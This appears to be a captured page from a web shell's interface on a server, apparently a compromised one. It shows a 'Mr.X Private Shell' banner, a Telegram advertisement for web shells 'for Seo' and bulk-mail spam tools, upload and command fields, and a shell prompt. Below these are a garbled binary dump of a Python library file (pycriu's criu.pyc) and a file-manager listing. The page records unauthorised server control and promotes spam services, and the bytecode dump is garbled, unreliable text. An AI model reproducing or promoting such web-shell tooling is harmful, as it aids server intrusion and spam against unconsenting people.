__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.64: ~ $
3


i�"�@s�ddlZddlZddlZddlZddlZddljZdZGdd�d�Z	Gdd�de	�Z
Gdd�de	�ZGd	d
�d
e	�ZGdd�de
�ZGd
d�de�ZGdd�de�ZGdd�d�ZdS)�Nz./criu_service.socketc@s8eZdZdZdZdZdZdZdZdZ	dd�Z
dd	�ZdS)
�
_criu_commz/
    Base class for communication classes.
    r��NcCsdS)z�
        Connect to criu and return socket object.
        daemon -- is for whether or not criu should daemonize if executing criu from binary(comm_bin).
        N�)�self�daemonrr�/usr/lib/python3.6/criu.py�connectsz_criu_comm.connectcCsdS)z'
        Disconnect from criu.
        Nr)rrrr�
disconnectsz_criu_comm.disconnect)�__name__�
__module__�__qualname__�__doc__�COMM_SK�COMM_FD�COMM_BIN�	comm_type�comm�skr	r
rrrrr
src@s(eZdZdZdd�Zdd�Zdd�ZdS)	�
_criu_comm_skz.
    Communication class for unix socket.
    cCs|j|_||_dS)N)rrr)rZsk_pathrrr�__init__+sz_criu_comm_sk.__init__cCsbtjtjtj�|_y|jj|j�Wn6tk
r@td��Yntk
rZtd��YnX|jS)NzSocket file not found.zService not running.)�socket�AF_UNIX�SOCK_SEQPACKETrr	r�FileNotFoundError�ConnectionRefusedError)rrrrrr	/sz_criu_comm_sk.connectcCs|jj�dS)N)r�close)rrrrr
<sz_criu_comm_sk.disconnectN)rrr
rrr	r
rrrrr&s
rc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�
_criu_comm_fdz2
    Communication class for file descriptor.
    cCs|j|_||_dS)N)rrr)r�fdrrrrEsz_criu_comm_fd.__init__cCstj|jtjtj�|_|jS)N)rZfromfdrrrr)rrrrrr	Is
z_criu_comm_fd.connectcCs|jj�dS)N)rr)rrrrr
Osz_criu_comm_fd.disconnectN)rrr
rrr	r
rrrrr@src@s(eZdZdZdd�Zdd�Zdd�ZdS)	�_criu_comm_binz)
    Communication class for binary.
    cCs|j|_||_d|_d|_dS)N)rrr�swrkr)rZbin_pathrrrrXsz_criu_comm_bin.__init__cstjtjtj��tj�dtj�}tj�dtj|tjB�tj�dtj�}tj�dtj|tj@�|�_t	j
�}|dkrƇ�fdd�}|r�t	j
�}|dkr�t	j�|�q�t	jd�q�|�n|r�t	j
|d��dj�tjd�djd��d�_�d�_�jS)Nrrcshtjd�tjd�tjd��djtjdtj���tj�j�jdd�dj�g�tj	d�dS)Nrrr�ir z%d)
�osr�send�struct�pack�getpid�execvpr�fileno�_exitr)�cssrrr�	exec_criuls


z)_criu_comm_bin.connect.<locals>.exec_criur!�)rZ
socketpairrr�fcntlZF_GETFDZF_SETFDZ
FD_CLOEXECrr"�fork�setsidr)�waitpidrr$�unpack�recvr r)rr�flags�pr+r)r*rrr	^s,
z_criu_comm_bin.connectcCs"|jj�|jstj|jd�dS)Nr)rrrr"r0r )rrrrr
�s
z_criu_comm_bin.disconnectN)rrr
rrr	r
rrrrrSs0rc@s eZdZdZdZdZdd�ZdS)�
CRIUExceptionz?
    Exception class for handling and storing criu errors.
    NcCs|jS)N)�_str)rrrr�__str__�szCRIUException.__str__)rrr
r�typr6r7rrrrr5�sr5c@seZdZdZdd�ZdS)�CRIUExceptionInternalzC
    Exception class for handling and storing internal errors.
    cCs"||_dtjj|j�|f|_dS)Nz!%s failed with internal error: %s)r8�rpc�
criu_req_type�Namer6)rr8�srrrr�szCRIUExceptionInternal.__init__N)rrr
rrrrrrr9�sr9c@s eZdZdZdd�Zdd�ZdS)�CRIUExceptionExternalzC
    Exception class for handling and storing criu RPC errors.
    cCs ||_||_||_|j�|_dS)N)r8�resp_typ�errno�_gen_error_strr6)rZreq_typr?r@rrrr�szCRIUExceptionExternal.__init__cCs�dtjj|j�f}|j|jkr0|d|jf7}|d|jf7}|jtjkrV|d7}nL|jtjkrx|jtjkrx|d7}n*|jtj	kr�|jtj
kr�|d7}n|d7}|S)Nz%s failed: zUnexpected response type %d: zError(%d): zBad optionszNo process with such pidz)Process with requested pid already existsZUnknown)r:r;r<r8r?r@ZEBADRQC�DUMPZESRCH�RESTOREZEEXIST)rr=rrrrA�s


z$CRIUExceptionExternal._gen_error_strN)rrr
rrrArrrrr>�sr>c@steZdZdZdZdZdd�Zefdd�Zdd�Z	d	d
�Z
dd�Zd
d�Zdd�Z
dd�Zdd�Zdd�Zdd�ZdS)�criuz 
    Call criu through RPC.
    NcCs"|jd�tjdd�|_d|_dS)NrDr)Z
images_dir_fd���)�
use_binaryr:Z	criu_opts�optsr)rrrrr�s
z
criu.__init__cCst|�|_dS)zZ
        Access criu using unix socket which that belongs to criu service daemon.
        N)r�_comm)rZsk_namerrr�use_sk�szcriu.use_skcCst|�|_dS)z0
        Access criu using provided fd.
        N)rrH)rrrrr�use_fd�szcriu.use_fdcCst|�|_dS)zO
        Access criu by execing it using provided path to criu binary.
        N)rrH)rZbin_namerrrrF�szcriu.use_binarycCs�d}|jtjkr"|jjd�r"d}yx|js8|jj|�}n|j}|jrJ||_|j	|j
��|jt|jdt
jt
jB���}|js�|jj�tj�}|j|�Wn2tk
r�}zt|jt|���WYdd}~XnX|S)zA
        As simple as send request and receive response.
        F�pidTrN)�typer:rBrGZHasFieldrrHr	�	keep_openr#ZSerializeToStringr2�lenrZ	MSG_TRUNCZMSG_PEEKr
Z	criu_respZParseFromString�	Exceptionr9�str)r�reqrr=Zbuf�resp�errr�_send_req_and_recv_resp�s$
"zcriu._send_req_and_recv_respcCsDtj�}tj|_|jj|j�|j|�}|js@t|j|j|j	��dS)zB
        Checks whether the kernel support is up-to-date.
        N)
r:�criu_reqZCHECKrLrG�	MergeFromrT�successr>�cr_errno)rrQrRrrr�checks
z
criu.checkcCsFtj�}tj|_|jj|j�|j|�}|js@t|j|j|j	��|j
S)zC
        Checkpoint a process/tree identified by opts.pid.
        )r:rUrBrLrGrVrTrWr>rX�dump)rrQrRrrrrZs
z	criu.dumpcCsFtj�}tj|_|jj|j�|j|�}|js@t|j|j|j	��|j
S)zC
        Checkpoint a process/tree identified by opts.pid.
        )r:rUZPRE_DUMPrLrGrVrTrWr>rXrZ)rrQrRrrr�pre_dump+s
z
criu.pre_dumpcCsFtj�}tj|_|jj|j�|j|�}|js@t|j|j|j	��|j
S)z)
        Restore a process/tree.
        )r:rUrCrLrGrVrTrWr>rX�restore)rrQrRrrrr\:s
zcriu.restorecCsLtj�}tj|_|jj|j�d|_|j|�}|jsFt	|j|j|j
��|jS)NT)r:rUZPAGE_SERVER_CHLDrLrGrVrMrTrWr>rXZps)rrQrRrrr�page_server_chldIs
zcriu.page_server_chldcCs>tj�}tj|_||_|j|�}|js8t|j|j|j��|j	S)N)
r:rUZWAIT_PIDrLrKrTrWr>rXZstatus)rrKrQrRrrr�wait_pidVs
z
criu.wait_pid)rrr
rrGrHr�CR_DEFAULT_SERVICE_ADDRESSrIrJrFrTrYrZr[r\r]r^rrrrrD�s#

rD)rr@r-r"r$Zpycriu.rpc_pb2Zrpc_pb2r:r_rrrrrOr5r9r>rDrrrr�<module>s
A"

Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 453 B 0644
__init__.cpython-36.pyc File 453 B 0644
criu.cpython-36.opt-1.pyc File 9.1 KB 0644
criu.cpython-36.pyc File 9.1 KB 0644
rpc_pb2.cpython-36.opt-1.pyc File 20.3 KB 0644
rpc_pb2.cpython-36.pyc File 20.3 KB 0644
version.cpython-36.opt-1.pyc File 131 B 0644
version.cpython-36.pyc File 131 B 0644